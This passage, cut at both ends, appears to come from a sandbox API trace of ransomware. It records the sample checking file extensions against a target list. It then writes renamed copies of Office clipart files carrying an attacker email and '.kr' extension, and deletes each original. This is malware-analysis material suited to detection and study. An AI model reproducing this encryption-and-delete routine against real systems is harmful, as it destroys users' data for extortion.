Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString=".zip") returned 4 [0205.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.589] lstrlenW (lpString=".rar") returned 4 [0205.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString=".bz2") returned 4 [0205.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString=".7z") returned 3 [0205.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString=".dbf") returned 4 [0205.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString=".1cd") returned 4 [0205.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString=".jpg") returned 4 [0205.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.589] lstrlenW (lpString=".doc") returned 4 [0205.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString=".docx") returned 5 [0205.590] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0205.590] lstrlenW (lpString=".pdf") returned 4 [0205.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString=".xls") returned 4 [0205.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.590] lstrlenW (lpString=".xlsx") returned 5 [0205.590] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0205.590] lstrlenW (lpString=".ppt") returned 4 [0205.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.590] lstrlenW (lpString=".zip") returned 4 [0205.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.590] lstrlenW (lpString=".rar") returned 4 [0205.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString=".bz2") returned 4 [0205.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString=".7z") returned 3 [0205.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.590] lstrlenW (lpString=".dbf") returned 4 [0205.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.590] lstrlenW (lpString=".1cd") returned 4 [0205.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.590] lstrlenW (lpString=".jpg") returned 4 [0205.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.591] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.591] lstrlenW (lpString="J0105250.WMF") returned 12 [0205.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0205.687] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4628) returned 1 [0205.687] CloseHandle (hObject=0x568) returned 1 [0205.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0205.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.790] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.790] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.793] GetLastError () returned 0x0 [0205.793] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1214, lpOverlapped=0x0) returned 1 [0205.795] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1220, lpOverlapped=0x0) returned 1 [0205.796] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.796] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.797] SetEndOfFile (hFile=0x36c) returned 1 [0205.797] CloseHandle (hObject=0x36c) returned 1 [0205.801] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.801] SetEndOfFile (hFile=0x564) returned 1 [0205.809] CloseHandle (hObject=0x564) returned 1 [0205.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0205.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.813] lstrlenW (lpString=".doc") returned 4 [0205.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.813] lstrlenW (lpString=".docx") returned 5 [0205.813] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.813] lstrlenW (lpString=".pdf") returned 4 [0205.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.813] lstrlenW (lpString=".xls") returned 4 [0205.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.813] lstrlenW (lpString=".xlsx") returned 5 [0205.813] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.813] lstrlenW (lpString=".ppt") returned 4 [0205.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.813] lstrlenW (lpString=".zip") returned 4 [0205.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.813] lstrlenW (lpString=".rar") returned 4 [0205.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.813] lstrlenW (lpString=".bz2") returned 4 [0205.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString=".7z") returned 3 [0205.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString=".dbf") returned 4 [0205.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString=".1cd") returned 4 [0205.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString=".jpg") returned 4 [0205.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString=".doc") returned 4 [0205.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString=".docx") returned 5 [0205.814] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.814] lstrlenW (lpString=".pdf") returned 4 [0205.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString=".xls") returned 4 [0205.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.814] lstrlenW (lpString=".xlsx") returned 5 [0205.814] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.814] lstrlenW (lpString=".ppt") returned 4 [0205.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.814] lstrlenW (lpString=".zip") returned 4 [0205.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.814] lstrlenW (lpString=".rar") returned 4 [0205.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString=".bz2") returned 4 [0205.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.814] lstrlenW (lpString=".7z") returned 3 [0205.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.815] lstrlenW (lpString=".dbf") returned 4 [0205.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.815] lstrlenW (lpString=".1cd") returned 4 [0205.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0205.815] lstrlenW (lpString=".jpg") returned 4 [0205.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.815] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.815] lstrlenW (lpString="J0105272.WMF") returned 12 [0205.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.816] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=17728) returned 1 [0205.817] CloseHandle (hObject=0x564) returned 1 [0205.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0205.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.817] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.817] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.818] GetLastError () returned 0x0 [0205.819] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4540, lpOverlapped=0x0) returned 1 [0205.821] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4550, lpOverlapped=0x0) returned 1 [0205.822] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.822] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.822] SetEndOfFile (hFile=0x4d8) returned 1 [0205.822] CloseHandle (hObject=0x4d8) returned 1 [0205.822] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.823] SetEndOfFile (hFile=0x564) returned 1 [0205.825] CloseHandle (hObject=0x564) returned 1 [0205.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0205.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.827] lstrlenW (lpString=".doc") returned 4 [0205.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.827] lstrlenW (lpString=".docx") returned 5 [0205.827] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.827] lstrlenW (lpString=".pdf") returned 4 [0205.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.827] lstrlenW (lpString=".xls") returned 4 [0205.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.827] lstrlenW (lpString=".xlsx") returned 5 [0205.827] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.827] lstrlenW (lpString=".ppt") returned 4 [0205.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.827] lstrlenW (lpString=".zip") returned 4 [0205.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.827] lstrlenW (lpString=".rar") returned 4 [0205.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.827] lstrlenW (lpString=".bz2") returned 4 [0205.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.827] lstrlenW (lpString=".7z") returned 3 [0205.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.827] lstrlenW (lpString=".dbf") returned 4 [0205.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString=".1cd") returned 4 [0205.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString=".jpg") returned 4 [0205.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString=".doc") returned 4 [0205.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString=".docx") returned 5 [0205.828] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.828] lstrlenW (lpString=".pdf") returned 4 [0205.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString=".xls") returned 4 [0205.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.828] lstrlenW (lpString=".xlsx") returned 5 [0205.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.828] lstrlenW (lpString=".ppt") returned 4 [0205.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString=".zip") returned 4 [0205.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.828] lstrlenW (lpString=".rar") returned 4 [0205.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString=".bz2") returned 4 [0205.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString=".7z") returned 3 [0205.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.828] lstrlenW (lpString=".dbf") returned 4 [0205.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.829] lstrlenW (lpString=".1cd") returned 4 [0205.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0205.829] lstrlenW (lpString=".jpg") returned 4 [0205.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.829] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.829] lstrlenW (lpString="J0105276.WMF") returned 12 [0205.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.830] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19240) returned 1 [0205.830] CloseHandle (hObject=0x564) returned 1 [0205.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0205.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.830] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.830] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.831] GetLastError () returned 0x0 [0205.831] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0205.833] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0205.834] ReadFile (in: hFile=0x564, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.834] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.835] SetEndOfFile (hFile=0x4d8) returned 1 [0205.835] CloseHandle (hObject=0x4d8) returned 1 [0205.835] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.835] SetEndOfFile (hFile=0x564) returned 1 [0205.837] CloseHandle (hObject=0x564) returned 1 [0205.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0205.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.839] lstrlenW (lpString=".doc") returned 4 [0205.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString=".docx") returned 5 [0205.839] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0205.839] lstrlenW (lpString=".pdf") returned 4 [0205.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString=".xls") returned 4 [0205.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.839] lstrlenW (lpString=".xlsx") returned 5 [0205.839] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0205.839] lstrlenW (lpString=".ppt") returned 4 [0205.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.839] lstrlenW (lpString=".zip") returned 4 [0205.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.839] lstrlenW (lpString=".rar") returned 4 [0205.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString=".bz2") returned 4 [0205.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString=".7z") returned 3 [0205.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.839] lstrlenW (lpString="C:\\Program Files\\Microsoft 